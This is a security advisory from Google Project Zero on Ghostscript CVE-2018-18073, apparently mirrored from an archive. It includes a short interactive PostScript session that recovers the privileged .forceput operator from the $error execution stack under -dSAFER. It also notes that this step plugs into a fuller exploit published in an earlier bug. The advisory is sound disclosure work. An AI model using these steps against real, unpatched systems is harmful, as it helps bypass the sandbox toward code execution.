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Ghostscript Exposed System Operators

Ghostscript Exposed System Operators
Posted Oct 11, 2018
Authored by Tavis Ormandy, Google Security Research

Ghostscript has an issue where an error object can expose system operators in the saved execution stack.

tags | advisory
advisories | CVE-2018-18073
MD5 | f076ce456ca16868992ed63958eaa396

Ghostscript Exposed System Operators

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ghostscript: $error object can expose system operators in saved execution stack. 

CVE-2018-18073


I've found a way of getting access to .forceput even after the fix in <a href="/p/project-zero/issues/detail?id=1682" title="ghostscript: executeonly bypass with errorhandler setup" class="closed_ref" rel="nofollow"> bug 1682 </a>, you can pull it out of the saved execution stack in $error:

$ gs -dSAFER -sDEVICE=ppmraw
GPL Ghostscript GIT PRERELEASE 9.26 (2018-09-13)
Copyright (C) 2018 Artifex Software, Inc. All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
GS>{ null .setglobal } stopped clear
GS>$error /estack get ==
[--%interp_exit-- .runexec2 -file- {--dup-- null --ne-- {--exec-- true} {--pop-- false} --ifelse--} null 2 --%stopped_push-- -file- {prompt {(%statementedit) (r) --.systemvmfile--} --stopped-- {--pop-- --pop-- $error /errorname --get-- /undefinedfilename --eq-- {.clearerror --exit--} --if-- /handleerror --.systemvar-- --exec-- null} --if-- --cvx-- {.runexec} .execute --pop--} --%loop_continue-- {--pop--} {$error /newerror --get-- --and-- {/handleerror --.systemvar-- --exec-- --flush-- true} {false} --ifelse--} false 1 --%stopped_push-- .runexec2 -file- {--dup-- null --ne-- {--exec-- true} {--pop-- false} --ifelse--} null 2 --%stopped_push-- -file- false 1 --%stopped_push-- 1919 1 3 --%oparray_pop-- {-dict- /FontDirectory --.currentglobal-- {-dict-} {/LocalFontDirectory --.systemvar--} --ifelse-- --.forceput-- --pop--}]

Notice the .forceput in there...

GS>$error /estack get 29 get ==
{-dict- /FontDirectory --.currentglobal-- {-dict-} {/LocalFontDirectory --.systemvar--} --ifelse-- --.forceput-- --pop--}
GS>$error /estack get 29 get 6 get ==
--.forceput--
GS>

See <a href="/p/project-zero/issues/detail?id=1682" title="ghostscript: executeonly bypass with errorhandler setup" class="closed_ref" rel="nofollow"> bug 1682 </a> for a full exploit using .forceput, this code can just be plugged in and the full exploit will still work.


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: taviso

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